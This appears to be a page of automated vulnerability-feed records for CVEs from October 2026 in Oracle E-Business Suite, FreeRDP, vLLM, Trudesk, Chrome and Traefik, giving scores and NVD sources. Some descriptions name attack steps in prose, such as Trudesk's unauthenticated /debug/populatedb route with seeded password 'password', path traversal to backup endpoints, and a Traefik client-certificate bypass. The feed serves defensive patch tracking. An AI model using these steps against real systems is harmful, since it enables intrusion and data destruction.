Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Documents). (Oct 20, 2026).
Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Documents).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment.  Successful attacks of this vulnerability can result in takeover of Oracle One-to-One Fulfillment. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101699).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101699&date=2026-10-25).
Sources:
NVD CVE-2026-101699: https://nvd.nist.gov/vuln/detail/CVE-2026-101699
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101699&date=2026-10-25
Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Documents).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment.  Successful attacks of this vulnerability can result in takeover of Oracle One-to-One Fulfillment. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Java Server Issues).
https://kevwire.com/record/CVE-2026-101698
Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Java Server Issues). (Oct 20, 2026).
Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Java Server Issues).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment.  Successful attacks of this vulnerability can result in takeover of Oracle One-to-One Fulfillment. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101698).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101698&date=2026-10-25).
Sources:
NVD CVE-2026-101698: https://nvd.nist.gov/vuln/detail/CVE-2026-101698
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101698&date=2026-10-25
Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Java Server Issues).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment.  Successful attacks of this vulnerability can result in takeover of Oracle One-to-One Fulfillment. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).
https://kevwire.com/record/CVE-2026-101694
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI). (Oct 20, 2026).
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTPS to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.2 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101694).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101694&date=2026-10-25).
Sources:
NVD CVE-2026-101694: https://nvd.nist.gov/vuln/detail/CVE-2026-101694
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101694&date=2026-10-25
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTPS to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).
https://kevwire.com/record/CVE-2026-101690
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider). (Oct 20, 2026).
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle E-Business Suite Integrated SOA Gateway accessible data as well as  unauthorized update, insert or delete access to some of Oracle E-Business Suite Integrated SOA Gateway accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).
CVSS 8.2 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101690).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101690&date=2026-10-25).
Sources:
NVD CVE-2026-101690: https://nvd.nist.gov/vuln/detail/CVE-2026-101690
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101690&date=2026-10-25
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle E-Business Suite Integrated SOA Gateway accessible data as well as  unauthorized update, insert or delete access to some of Oracle E-Business Suite Integrated SOA Gateway accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).
https://kevwire.com/record/CVE-2026-101688
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider). (Oct 20, 2026).
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  While the vulnerability is in Oracle E-Business Suite Integrated SOA Gateway, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle E-Business Suite Integrated SOA Gateway accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).
CVSS 8.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101688).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101688&date=2026-10-25).
Sources:
NVD CVE-2026-101688: https://nvd.nist.gov/vuln/detail/CVE-2026-101688
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101688&date=2026-10-25
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  While the vulnerability is in Oracle E-Business Suite Integrated SOA Gateway, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle E-Business Suite Integrated SOA Gateway accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP before 3.32.1 contains a heap-based out-of-bounds read in WinPR's clipboard PNG-to-CF_DIB synthesis because winpr_read_png_from_buffer() allocates a bit-packed buffer for...
https://kevwire.com/record/CVE-2026-114043
FreeRDP before 3.32.1 contains a heap-based out-of-bounds read in WinPR's clipboard PNG-to-CF_DIB synthesis because winpr_read_png_from_buffer() allocates a bit-packed buffer for... (Oct 21, 2026).
FreeRDP before 3.32.1 contains a heap-based out-of-bounds read in WinPR's clipboard PNG-to-CF_DIB synthesis because winpr_read_png_from_buffer() allocates a bit-packed buffer for PNGs with bit depth below 8, while winpr_bitmap_write_buffer() copies rows assuming one byte per pixel. A malicious RDP server can send a crafted low-bit-depth PNG clipboard payload that, when pasted by the victim, discloses megabytes of heap memory.
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114043).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114043&date=2026-10-25).
Sources:
NVD CVE-2026-114043: https://nvd.nist.gov/vuln/detail/CVE-2026-114043
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114043&date=2026-10-25
FreeRDP before 3.32.1 contains a heap-based out-of-bounds read in WinPR's clipboard PNG-to-CF_DIB synthesis because winpr_read_png_from_buffer() allocates a bit-packed buffer for PNGs with bit depth below 8, while winpr_bitmap_write_buffer() copies rows assuming one byte per pixel. A malicious RDP server can send a crafted low-bit-depth PNG clipboard payload that, when pasted by the victim, discloses megabytes of heap memory.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP before 3.32.1 contains a heap-based buffer overflow in the server-side rdpsnd channel because an integer wraparound in rdpsnd_server_select_format() DVI_ADPCM...
https://kevwire.com/record/CVE-2026-114045
FreeRDP before 3.32.1 contains a heap-based buffer overflow in the server-side rdpsnd channel because an integer wraparound in rdpsnd_server_select_format() DVI_ADPCM... (Oct 21, 2026).
FreeRDP before 3.32.1 contains a heap-based buffer overflow in the server-side rdpsnd channel because an integer wraparound in rdpsnd_server_select_format() DVI_ADPCM block-alignment arithmetic bypasses validation. A malicious RDP client can send two SNDC_FORMATS PDUs with an nBlockAlign too small for nChannels, causing an unbounded heap write during server audio playback, potentially enabling code execution.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114045).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114045&date=2026-10-25).
Sources:
NVD CVE-2026-114045: https://nvd.nist.gov/vuln/detail/CVE-2026-114045
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114045&date=2026-10-25
FreeRDP before 3.32.1 contains a heap-based buffer overflow in the server-side rdpsnd channel because an integer wraparound in rdpsnd_server_select_format() DVI_ADPCM block-alignment arithmetic bypasses validation. A malicious RDP client can send two SNDC_FORMATS PDUs with an nBlockAlign too small for nChannels, causing an unbounded heap write during server audio playback, potentially enabling code execution.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP 3.0.0 before 3.32.0 contains a null-pointer dereference in the smartcard emulation backend that accepts a null per-reader name in SCardGetStatusChange requests.
https://kevwire.com/record/CVE-2026-114046
FreeRDP 3.0.0 before 3.32.0 contains a null-pointer dereference in the smartcard emulation backend that accepts a null per-reader name in SCardGetStatusChange requests. (Oct 21, 2026).
FreeRDP 3.0.0 before 3.32.0 contains a null-pointer dereference in the smartcard emulation backend that accepts a null per-reader name in SCardGetStatusChange requests. A malicious RDP server can send a crafted reader-state entry with a null szReader, causing strcmp or _wcscmp to crash the client process.
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114046).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114046&date=2026-10-25).
Sources:
NVD CVE-2026-114046: https://nvd.nist.gov/vuln/detail/CVE-2026-114046
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114046&date=2026-10-25
FreeRDP 3.0.0 before 3.32.0 contains a null-pointer dereference in the smartcard emulation backend that accepts a null per-reader name in SCardGetStatusChange requests. A malicious RDP server can send a crafted reader-state entry with a null szReader, causing strcmp or _wcscmp to crash the client process.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM before 0.31.0 skips the min_tokens <= max_tokens check for /inference/v1/generate requests with a null max_tokens, so the EngineCore input thread later dies on an uncaught...
https://kevwire.com/record/CVE-2026-114051
vLLM before 0.31.0 skips the min_tokens <= max_tokens check for /inference/v1/generate requests with a null max_tokens, so the EngineCore input thread later dies on an uncaught... (Oct 21, 2026).
vLLM before 0.31.0 skips the min_tokens <= max_tokens check for /inference/v1/generate requests with a null max_tokens, so the EngineCore input thread later dies on an uncaught VLLMValidationError while /health still returns 200. Unauthenticated remote attackers can send one request with an oversized min_tokens to hang all subsequent generation requests until manual restart.
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114051).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114051&date=2026-10-25).
Sources:
NVD CVE-2026-114051: https://nvd.nist.gov/vuln/detail/CVE-2026-114051
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114051&date=2026-10-25
vLLM before 0.31.0 skips the min_tokens <= max_tokens check for /inference/v1/generate requests with a null max_tokens, so the EngineCore input thread later dies on an uncaught VLLMValidationError while /health still returns 200. Unauthenticated remote attackers can send one request with an oversized min_tokens to hang all subsequent generation requests until manual restart.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM from 0.7.3 before 0.31.0 forwards the request-supplied mm_processor_kwargs.code_revision to Transformers AutoProcessor.from_pretrained, letting clients select which revision...
https://kevwire.com/record/CVE-2026-114053
vLLM from 0.7.3 before 0.31.0 forwards the request-supplied mm_processor_kwargs.code_revision to Transformers AutoProcessor.from_pretrained, letting clients select which revision... (Oct 21, 2026).
vLLM from 0.7.3 before 0.31.0 forwards the request-supplied mm_processor_kwargs.code_revision to Transformers AutoProcessor.from_pretrained, letting clients select which revision of a model's dynamic processor code is imported when trust_remote_code is enabled. An attacker controlling a revision in the served model repository can send a multimodal request to the unauthenticated /tokenize endpoint to execute arbitrary Python in the vLLM API process.
CVSS 9.2 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114053).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114053&date=2026-10-25).
Sources:
NVD CVE-2026-114053: https://nvd.nist.gov/vuln/detail/CVE-2026-114053
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114053&date=2026-10-25
vLLM from 0.7.3 before 0.31.0 forwards the request-supplied mm_processor_kwargs.code_revision to Transformers AutoProcessor.from_pretrained, letting clients select which revision of a model's dynamic processor code is imported when trust_remote_code is enabled. An attacker controlling a revision in the served model repository can send a multimodal request to the unauthenticated /tokenize endpoint to execute arbitrary Python in the vLLM API process.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### vLLM before 0.31.0 contains a cache aliasing vulnerability that allows authenticated attackers to collide shared cache keys by supplying caller-controlled values such as EXIF...
https://kevwire.com/record/CVE-2026-114054
vLLM before 0.31.0 contains a cache aliasing vulnerability that allows authenticated attackers to collide shared cache keys by supplying caller-controlled values such as EXIF... (Oct 21, 2026).
vLLM before 0.31.0 contains a cache aliasing vulnerability that allows authenticated attackers to collide shared cache keys by supplying caller-controlled values such as EXIF ImageID or cache_salt. Attackers can set a UUID EXIF ImageID to receive another request's cached processed media, or match cache_salt to a LoRA name to reuse first-block KV state.
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114054).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114054&date=2026-10-25).
Sources:
NVD CVE-2026-114054: https://nvd.nist.gov/vuln/detail/CVE-2026-114054
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114054&date=2026-10-25
vLLM before 0.31.0 contains a cache aliasing vulnerability that allows authenticated attackers to collide shared cache keys by supplying caller-controlled values such as EXIF ImageID or cache_salt. Attackers can set a UUID EXIF ImageID to receive another request's cached processed media, or match cache_salt to a LoRA name to reuse first-block KV state.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trudesk through 1.2.11 contains a server-side JavaScript injection vulnerability that allows authenticated users to inject code into a MongoDB $where clause via the search...
https://kevwire.com/record/CVE-2026-114396
Trudesk through 1.2.11 contains a server-side JavaScript injection vulnerability that allows authenticated users to inject code into a MongoDB $where clause via the search... (Oct 21, 2026).
Trudesk through 1.2.11 contains a server-side JavaScript injection vulnerability that allows authenticated users to inject code into a MongoDB $where clause via the search parameter. Attackers can close the regular expression in GET /api/v1/tickets/search to loop mongod for denial of service or leak full ticket documents including internal notes.
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114396).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114396&date=2026-10-25).
Sources:
NVD CVE-2026-114396: https://nvd.nist.gov/vuln/detail/CVE-2026-114396
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114396&date=2026-10-25
Trudesk through 1.2.11 contains a server-side JavaScript injection vulnerability that allows authenticated users to inject code into a MongoDB $where clause via the search parameter. Attackers can close the regular expression in GET /api/v1/tickets/search to loop mongod for denial of service or leak full ticket documents including internal notes.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trudesk through 1.2.11 contains a missing authentication vulnerability in debug routes enabled whenever NODE_ENV is unset, letting unauthenticated attackers invoke them remotely.
https://kevwire.com/record/CVE-2026-114397
Trudesk through 1.2.11 contains a missing authentication vulnerability in debug routes enabled whenever NODE_ENV is unset, letting unauthenticated attackers invoke them remotely. (Oct 21, 2026).
Trudesk through 1.2.11 contains a missing authentication vulnerability in debug routes enabled whenever NODE_ENV is unset, letting unauthenticated attackers invoke them remotely. Attackers can call /debug/populatedb to delete all groups, tags and tickets, then log in with seeded accounts using the password 'password'.
CVSS 8.3 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114397).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114397&date=2026-10-25).
Sources:
NVD CVE-2026-114397: https://nvd.nist.gov/vuln/detail/CVE-2026-114397
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114397&date=2026-10-25
Trudesk through 1.2.11 contains a missing authentication vulnerability in debug routes enabled whenever NODE_ENV is unset, letting unauthenticated attackers invoke them remotely. Attackers can call /debug/populatedb to delete all groups, tags and tickets, then log in with seeded accounts using the password 'password'.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trudesk through 1.2.11 contains a path traversal vulnerability that allows administrators to delete arbitrary files by supplying encoded traversal sequences to DELETE...
https://kevwire.com/record/CVE-2026-114399
Trudesk through 1.2.11 contains a path traversal vulnerability that allows administrators to delete arbitrary files by supplying encoded traversal sequences to DELETE... (Oct 21, 2026).
Trudesk through 1.2.11 contains a path traversal vulnerability that allows administrators to delete arbitrary files by supplying encoded traversal sequences to DELETE /api/v1/backup/:backup. Attackers can also pass unvalidated file values to POST /api/v1/backup/restore to restore archives from, or extract to, paths outside the intended directories.
CVSS 7.0 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114399).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114399&date=2026-10-25).
Sources:
NVD CVE-2026-114399: https://nvd.nist.gov/vuln/detail/CVE-2026-114399
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114399&date=2026-10-25
Trudesk through 1.2.11 contains a path traversal vulnerability that allows administrators to delete arbitrary files by supplying encoded traversal sequences to DELETE /api/v1/backup/:backup. Attackers can also pass unvalidated file values to POST /api/v1/backup/restore to restore archives from, or extract to, paths outside the intended directories.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in ComputePressure in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113057
Improper access control in ComputePressure in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Oct 20, 2026).
Improper access control in ComputePressure in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113057).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113057&date=2026-10-25).
Sources:
NVD CVE-2026-113057: https://nvd.nist.gov/vuln/detail/CVE-2026-113057
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113057&date=2026-10-25
Improper access control in ComputePressure in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Traefik before v2.11.58 and v3.7.14 contains an authentication bypass vulnerability in its SNI check, which is skipped when request TLS state is nil.
https://kevwire.com/record/CVE-2026-114635
Traefik before v2.11.58 and v3.7.14 contains an authentication bypass vulnerability in its SNI check, which is skipped when request TLS state is nil. (Oct 22, 2026).
Traefik before v2.11.58 and v3.7.14 contains an authentication bypass vulnerability in its SNI check, which is skipped when request TLS state is nil. Unauthenticated clients can send HTTP/2 requests with the :scheme http pseudo-header over TLS on Go 1.27 builds to reach routers requiring client certificates without presenting one.
CVSS 7.0 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114635).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114635&date=2026-10-25).
Sources:
NVD CVE-2026-114635: https://nvd.nist.gov/vuln/detail/CVE-2026-114635
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114635&date=2026-10-25
Traefik before v2.11.58 and v3.7.14 contains an authentication bypass vulnerability in its SNI check, which is skipped when request TLS state is nil. Unauthenticated clients can send HTTP/2 requests with the :scheme http pseudo-header over TLS on Go 1.27 builds to reach routers requiring client certificates without presenting one.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

